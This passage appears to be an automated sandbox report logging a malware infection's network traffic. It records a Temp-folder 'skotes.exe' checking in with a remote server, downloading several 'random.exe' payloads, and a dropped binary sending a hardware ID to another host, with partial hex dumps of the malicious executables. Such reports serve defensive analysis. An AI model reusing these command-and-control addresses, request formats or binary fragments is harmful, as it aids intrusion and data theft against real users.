00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL"0Jh @ `FhOg8 H.textH J `.rsrcL@@.relocR@BzhH700&(o~(,(&0<rp(((XZ[rup""((0Yrp(((+XX-r-p""((0grqp(((+os(+(++]-rp"("(0zr>p(((+o
Oct 30, 2024 00:21:09.074619055 CET	212	IN	Data Raw: 1e 00 00 0a 14 fe 06 1b 00 00 0a 73 1f 00 00 0a 28 02 00 00 2b 28 03 00 00 2b 0a 06 16 94 0b 06 17 94 0c 07 0d 08 13 04 2b 0f 00 11 04 13 06 09 11 04 5d 13 04 11 06 0d 00 11 04 16 fe 03 13 07 11 07 2d e6 07 08 5a 09 5b 13 05 72 c3 02 00 70 11 05 Data Ascii: s(+(++]-Z[rp"("(0Hrp(((+]X[-rqp"("(0(#s$
Oct 30, 2024 00:21:09.074630022 CET	1236	IN	Data Raw: 00 6f 25 00 00 0a 0a 2b 00 06 2a 00 00 1b 30 03 00 66 00 00 00 08 00 00 11 00 73 26 00 00 0a 25 17 6f 27 00 00 0a 00 25 28 28 00 00 0a 6f 29 00 00 0a 00 25 28 2a 00 00 0a 6f 2b 00 00 0a 6f 2c 00 00 0a 00 25 72 c7 03 00 70 6f 2d 00 00 0a 00 0a 00 Data Ascii: o%+0fs&%o'%((o)%(o+o,%rpo-(.&rpo/(0((18C08r!p(2,(3&r5p(+rp(0yrps&%rp
Oct 30, 2024 00:21:09.074641943 CET	1236	IN	Data Raw: 04 16 0b 2b 51 02 18 fe 01 0c 08 2c 04 17 0b 2b 45 02 18 5d 16 fe 01 0d 09 2c 04 16 0b 2b 37 19 13 04 2b 19 00 02 11 04 5d 16 fe 01 13 05 11 05 2c 04 16 0b 2b 20 00 11 04 18 58 13 04 11 04 6c 02 6c 28 44 00 00 0a fe 03 16 fe 01 13 06 11 06 2d d2 Data Ascii: +Q,+E],+7+],+ Xll(D-+0,+Y(Z+"(A0S+XXX{-rp{""(("(A
Oct 30, 2024 00:21:09.074655056 CET	1236	IN	Data Raw: 00 0a 00 2a 00 1b 30 03 00 d5 00 00 00 1c 00 00 11 02 7b 13 00 00 04 0a 06 2c 02 2b 02 2b 66 02 73 1f 00 00 06 7d 16 00 00 04 02 7b 16 00 00 04 02 7b 15 00 00 04 7d 05 00 00 04 00 02 7b 16 00 00 04 fe 06 20 00 00 06 73 46 00 00 0a 28 47 00 00 0a Data Ascii: 0{,++fs}{{}{ sF(GoB(H-@%}}\|(+`{\|%}(C}}\|(J}}\|(K
Oct 30, 2024 00:21:09.074667931 CET	1236	IN	Data Raw: 7d 2a 00 00 04 02 7c 28 00 00 04 28 4b 00 00 0a 00 2a 00 00 00 01 10 00 00 00 00 07 00 93 9a 00 1f 12 00 00 01 06 2a 22 02 28 41 00 00 0a 00 2a 00 1b 30 03 00 d5 00 00 00 21 00 00 11 02 7b 2c 00 00 04 0a 06 2c 02 2b 02 2b 66 02 73 29 00 00 06 7d Data Ascii: }\|((K"(A0!{,,++fs)}/{/{.}{/*sF(GoB(H-@%},}0\|-(+`{0\|0%},(C},}/\|-(J
Oct 30, 2024 00:21:09.074703932 CET	1236	IN	Data Raw: 00 06 00 2b 25 28 04 00 00 06 00 2b 1d 28 05 00 00 06 00 2b 15 28 06 00 00 06 00 2b 0d 72 e5 0e 00 70 28 19 00 00 0a 00 2b 00 00 2b 44 00 72 05 0f 00 70 28 19 00 00 0a 00 02 72 c1 0e 00 70 7d 3f 00 00 04 02 7b 3f 00 00 04 28 0c 00 00 06 13 0b 11 Data Ascii: +%(+(+(+rp(++Drp(rp}?{?(,r}p(\|rp(n(&(&(&(&(&(&(&(&rp(!}6}9\|7(J}6}9\|7
Oct 30, 2024 00:21:09.074718952 CET	1236	IN	Data Raw: 00 78 06 9f 02 06 00 c1 09 bc 02 06 00 62 09 9f 02 01 00 54 02 cc 02 01 00 5b 02 c4 02 06 00 78 06 9f 02 06 00 c1 09 bc 02 06 00 62 09 9f 02 01 00 54 02 d0 02 01 00 5b 02 c4 02 06 00 78 06 9f 02 06 00 c1 09 bc 02 06 00 62 09 9f 02 01 00 54 02 d4 Data Ascii: xbT[xbT[xbT[xbT[xbT[xbT[xT4cP
Oct 30, 2024 00:21:09.074731112 CET	1236	IN	Data Raw: 00 f2 08 00 00 02 00 aa 08 00 00 01 00 aa 08 00 00 01 00 62 09 00 00 01 00 62 09 00 00 01 00 62 09 00 00 01 00 62 09 00 00 01 00 62 09 00 00 01 00 62 09 00 00 01 00 62 09 00 00 01 00 62 09 00 00 01 00 9e 0a 00 00 01 00 9e 0a 00 00 01 00 05 09 00 Data Ascii: bbbbbbbb]EEEEEEEEEqqqqqqqqq""")"1"9"A"I"Q"
Oct 30, 2024 00:21:09.074744940 CET	1236	IN	Data Raw: 0b 01 00 04 80 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 25 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 a2 02 12 04 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 a2 02 fe 08 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 a2 02 57 06 00 Data Ascii: %W;pACWfpz+<M^o<
Oct 30, 2024 00:21:09.081605911 CET	1236	IN	Data Raw: 5f 5f 31 39 00 3c 4d 6f 64 75 6c 65 3e 00 3c 4d 61 69 6e 3e 00 53 57 5f 48 49 44 45 00 53 79 73 74 65 6d 2e 49 4f 00 53 57 5f 53 48 4f 57 00 6d 73 63 6f 72 6c 69 62 00 73 65 74 5f 56 65 72 62 00 53 79 73 74 65 6d 2e 43 6f 6c 6c 65 63 74 69 6f 6e Data Ascii: __19<Module><Main>SW_HIDESystem.IOSW_SHOWmscorlibset_VerbSystem.Collections.GenericCalculateSumOfPowersOf2AsyncCalculateSumOfFibonacciAsyncCalculateSumOfCubesAsyncCalculateSumOfDivisiblesAsyncCalculateSumOfPrimesAsyncCalculateSum

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	59786	185.215.113.43	80	6184	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 00:21:11.380775928 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 32 34 37 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002474001&unit=246122658369
Oct 30, 2024 00:21:12.300863028 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 23:21:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	59787	185.215.113.16	80	6184	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 00:21:12.311853886 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Oct 30, 2024 00:21:13.848638058 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 23:21:13 GMT Content-Type: application/octet-stream Content-Length: 2932224 Last-Modified: Tue, 29 Oct 2024 23:04:46 GMT Connection: keep-alive ETag: "67216a0e-2cbe00" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 53 d3 15 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4a 04 00 00 d6 00 00 00 00 00 00 00 d0 2f 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 30 00 00 04 00 00 3e 5e 2d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 a0 05 00 68 00 00 00 00 90 05 00 40 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 a1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELSgJ/@0>^-@Th@ ~@.rsrc@@.idata @rjghzmyp**@zpnqiley/,@.taggant0/",@
Oct 30, 2024 00:21:13.848650932 CET	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 00:21:13.848660946 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 00:21:13.848666906 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 00:21:13.848671913 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 00:21:13.848678112 CET	236	IN	Data Raw: dd d6 0f 0a 5c da 71 b0 08 bb 1f f0 08 0a 7e 78 fa 07 5f 0a 75 48 db f3 72 d5 2a fd 08 3d 6c 37 11 81 9f c4 64 3d 4c 82 b6 b1 22 21 b9 44 5e 20 5c c5 21 4e 14 2c 9c f1 fa 53 44 ef 5e 68 13 7c 11 2b 84 63 9d cb 1a 80 22 40 b6 f1 fe d2 8c 76 90 3a Data Ascii: \q~x_uHr=l7d=L"!D^ \!N,SD^h\|+c"@v:Hi),Mnk w([n8?*0p)REG.iAwHKqB1S;BA9${TGMJLZ!V]bQX]?H
Oct 30, 2024 00:21:13.848685980 CET	1236	IN	Data Raw: 7a bb f4 1a d7 2e a2 d4 b3 92 54 be 67 21 4d 80 03 4f 58 f0 e2 d6 17 88 85 b7 c6 f5 25 ad c7 18 67 d7 32 71 e6 07 ad fa fc a8 5e b9 6f 96 4d 6b 71 c9 a0 85 61 85 b8 e7 21 4b 01 ca d5 53 d4 0b e7 bd f9 84 19 6a 5f f4 5e cf f1 9a 63 95 8c d7 04 a2 Data Ascii: z.Tg!MOX%g2q^oMkqa!KSj_^cig@)6cEhb#x9H.zf[P4jR`wA#Lv?k,b;d?~hYYSj0O2*z:EnR;+qE?qTP
Oct 30, 2024 00:21:13.848705053 CET	212	IN	Data Raw: 02 da 57 06 a9 d1 0f 77 67 c0 6a da e9 63 53 13 1f 2e 67 d7 cd fd 19 fa 6b d5 28 33 a0 99 3f 7e bf 8a 8f 0b 2e 1a 5e c1 76 93 fd b6 f3 9e fb f0 4c 92 e2 0b 36 fa 0b 32 81 c3 f9 2e 92 ff 4c 36 c9 42 8a a1 65 45 17 b1 eb 4d 2a 3e b7 cf 72 5e ea 90 Data Ascii: WwgjcS.gk(3?~.^vL62.L6BeEM>r^+'VIjlALlXBd&[RPbVN/cl:I.hdRs+qRTAL@j1[dd5bu_p+~`LS)_WQ{Szl~e
Oct 30, 2024 00:21:13.848716974 CET	1236	IN	Data Raw: 61 7e 8a 0f b7 44 4f d8 5d a0 47 9b 47 4c f7 ae 97 fa cf 4f a2 8c 42 bb ff ca cf 5b 67 56 e2 8b 2c 83 6d 41 e1 3e 7f c0 5b 67 a3 b0 19 0a 81 18 c1 53 ee 95 c9 46 ac ba 02 91 c7 d3 18 42 82 b5 32 e6 91 58 27 e6 4d af e8 d9 3b b7 5f 61 68 80 44 28 Data Ascii: a~DO]GGLOB[gV,mA>[gSFB2X'M;_ahD(o{^o&9L5$J?eL"v]E-4p#AGe9<P&LSoJQ?p~\|oKfjskAG}ibVU*clS9Oj'ny"!A$t5
Oct 30, 2024 00:21:13.848726034 CET	1236	IN	Data Raw: 68 91 21 1b b8 e5 2f 28 37 01 43 87 fb 7e e0 e9 6d 0a ea 72 3f 50 e1 ac b9 bc 6a b4 29 66 4c 6b 63 16 45 51 5b a1 4d fb 72 be 8f 07 31 3a 84 81 1b f2 d2 f0 5d e3 23 cb 84 bb 72 35 ae 51 a0 ec 8a 83 11 d9 27 21 1f fe 67 03 49 5e fc f0 cd 39 32 40 Data Ascii: h!/(7C~mr?Pj)fLkcEQ[Mr1:]#r5Q'!gI^92@? av:_l5.[0$)php kc.ja_&Hb1V_(7_T8KP9ZNhYwjHhM ajZ_8c
Oct 30, 2024 00:21:13.848737001 CET	1236	IN	Data Raw: 03 94 71 0a fc 49 86 4b a5 44 74 61 03 44 1d 04 62 f9 fb 0a 97 0e 71 91 02 e8 70 17 de 89 6d f3 ab af 7c b4 32 fd 20 73 b4 bf 89 15 50 3f bb 16 7b 9d 20 da 1c a2 fd 78 5b 7d 9a 15 5f 25 ca 5e 74 50 67 d8 29 74 01 c1 5d 7a 41 a2 22 a2 cf 78 6d f1 Data Ascii: qIKDtaDbqpm\|2 sP?{ x[}_%^tPg)t]zA"xm^}~/$C!$_zL=n{o_17#*Y#cJgk)]ipa\|9yk<cGZA-"$!qer.@}B.Qm#+4AT
Oct 30, 2024 00:21:13.851787090 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 23:21:13 GMT Content-Type: application/octet-stream Content-Length: 2932224 Last-Modified: Tue, 29 Oct 2024 23:04:46 GMT Connection: keep-alive ETag: "67216a0e-2cbe00" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 53 d3 15 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4a 04 00 00 d6 00 00 00 00 00 00 00 d0 2f 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 30 00 00 04 00 00 3e 5e 2d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 a0 05 00 68 00 00 00 00 90 05 00 40 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 a1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELSgJ/@0>^-@Th@ ~@.rsrc@@.idata @rjghzmyp**@zpnqiley/,@.taggant0/",@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	59789	185.215.113.43	80	6184	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 00:21:16.944875002 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 32 34 38 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002487001&unit=246122658369
Oct 30, 2024 00:21:17.839690924 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 23:21:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	59791	185.215.113.16	80	6184	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 00:21:17.851300001 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Oct 30, 2024 00:21:18.762393951 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 23:21:18 GMT Content-Type: application/octet-stream Content-Length: 2133504 Last-Modified: Tue, 29 Oct 2024 23:04:59 GMT Connection: keep-alive ETag: "67216a1b-208e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 00 90 72 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 c0 72 00 00 04 00 00 bd 49 21 00 02 00 40 80 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$b}...u^..uk..u_..{v..fz/.{f....uZ..uh..Rich.PEL8ng,r@rI!@P.d. p.v@.rsrc .@.idata .@ *.@yhvanrkbX@owhwljinrf @.taggant0r"l @
Oct 30, 2024 00:21:18.762409925 CET	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 00:21:18.762429953 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 00:21:18.762444973 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 00:21:18.762454033 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 00:21:18.762466908 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 00:21:18.762520075 CET	1236	IN	Data Raw: 32 d2 0f 92 52 9b d7 78 c2 59 08 69 19 95 0d f6 fe 02 8e 04 9e 9a 84 4d d9 aa d0 d7 c1 8b 07 f6 b9 4e 6a c5 c1 26 10 02 ba 4e a4 b3 c1 26 10 0e ba 4f de a1 c1 07 86 f9 8d d2 4d fa a1 8d 05 52 4c ab 2d 37 16 4f 1a a8 89 34 0f f7 ab 7e 44 07 68 9e Data Ascii: 2RxYiMNj&N&OMRL-7O4~Dhs5G7tAmUQSJ'R,#0dFsD/:6~O5Y:S%5tr@3rd?Y*fp5@p)\|>{E(g^oLl;+aT2u
Oct 30, 2024 00:21:18.762531996 CET	1236	IN	Data Raw: a4 98 f7 1c 00 43 fc f9 d5 81 2c db b3 20 64 f6 ae f8 70 ac 71 99 78 4b 40 c3 b0 d2 3a 2f 5c 57 2e 2a 07 7f 36 fc 5a 2e 59 91 b0 cc 65 8d 5e e5 8c 26 0b f6 c7 86 aa 02 36 b1 bd 17 41 d8 d6 87 52 88 9f 05 5b d2 b4 d0 e7 21 3a e9 43 67 73 64 ef b3 Data Ascii: C, dpqxK@:/\W.*6Z.Ye^&6AR[!:CgsdcCu:[>cBj+97Vs+@kE8m2S ,RSG1trDY'Ap_@p9T{,I@0s2x]srMSCND:h o710>l@~
Oct 30, 2024 00:21:18.762588024 CET	1236	IN	Data Raw: df 0c e0 2c 47 86 01 8b 4a c6 32 55 3f 92 14 24 42 4e 78 78 7b d6 2e 74 4e a3 ff 21 b6 f9 d3 06 c6 65 40 8b 47 e6 f7 3f bc d3 7b 93 ca f2 08 2c a6 ad 2c 73 b6 f8 8a 29 eb 92 08 7e 72 ae 60 12 9e ad 02 12 ce a3 31 9a 51 95 84 36 dd 14 b0 03 3e 56 Data Ascii: ,GJ2U?$BNxx{.tN!e@G?{,,s)~r`1Q6>VtH(b2z(SySnLf}xp2,ds[ra7-foR?sOF4\;`I64GcM Ob2PJ4XLFfjZrF
Oct 30, 2024 00:21:18.762598991 CET	1236	IN	Data Raw: c5 a6 3f 3f 9b d5 b5 fb 9d 92 6e 78 80 f6 08 0b a6 9a 6f 72 94 6c 18 59 47 12 f8 79 b2 d1 3c fc 9d f6 21 c5 c6 0e 09 8a 55 22 d4 e6 50 fe 31 8e 30 a3 0f 1f 52 a5 61 de c7 bc 24 f3 2f a3 f1 21 1a f7 95 99 7e 32 09 9a b2 ad d8 f9 36 6e 5a 83 3b 42 Data Ascii: ??nxorlYGy<!U"P10Ra$/!~26nZ;B7&[py"#r@(Spvt#yAV7`)6yO)h0[3m*p7Nn?."Jwtx_rGR<~v#ppN {NmD1Qz
Oct 30, 2024 00:21:18.767844915 CET	1236	IN	Data Raw: f9 0a 56 76 50 92 33 5f 3e 13 66 36 47 c2 8d 9b 93 a2 f7 02 5a ce 4c 5b a2 f7 fb 29 b2 cc 43 63 bc dc 73 1c 9f 0e 32 66 51 b5 85 ca 21 db 17 7a 47 cc 8b 0d 40 1e a8 35 52 8d 7a 0a 47 cc 9b fb 26 8e 78 e2 5f cf 9f 2c 47 42 01 ca 4a 3e 33 57 4f 4a Data Ascii: VvP3_>f6GZL[)Ccs2fQ!zG@5RzG&x_,GBJ>3WOJQ`Gfo5"jG4snvsO0\qt1Qw1\7{x^M/GO8 "B^8^euRt>[RvQlss24x%Ocv#3@6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	59794	185.215.113.43	80	6184	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 00:21:22.390100002 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 32 34 38 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002488001&unit=246122658369
Oct 30, 2024 00:21:23.296838045 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 23:21:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	59796	185.215.113.206	80	4408	C:\Users\user\AppData\Local\Temp\1002488001\f324957d91.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 00:21:23.099387884 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 30, 2024 00:21:23.992614031 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 23:21:23 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 30, 2024 00:21:23.995523930 CET	413	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIIEBAFCBKFIDGCAKKKF Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 49 45 42 41 46 43 42 4b 46 49 44 47 43 41 4b 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 31 31 34 43 32 39 35 43 36 31 36 32 32 33 35 37 33 34 35 32 36 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 45 42 41 46 43 42 4b 46 49 44 47 43 41 4b 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 45 42 41 46 43 42 4b 46 49 44 47 43 41 4b 4b 4b 46 2d 2d 0d 0a Data Ascii: ------HIIEBAFCBKFIDGCAKKKFContent-Disposition: form-data; name="hwid"8114C295C6162235734526------HIIEBAFCBKFIDGCAKKKFContent-Disposition: form-data; name="build"tale------HIIEBAFCBKFIDGCAKKKF--
Oct 30, 2024 00:21:24.276817083 CET	210	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 23:21:24 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	59797	185.215.113.16	80	6184	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 00:21:23.305932999 CET	55	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.16
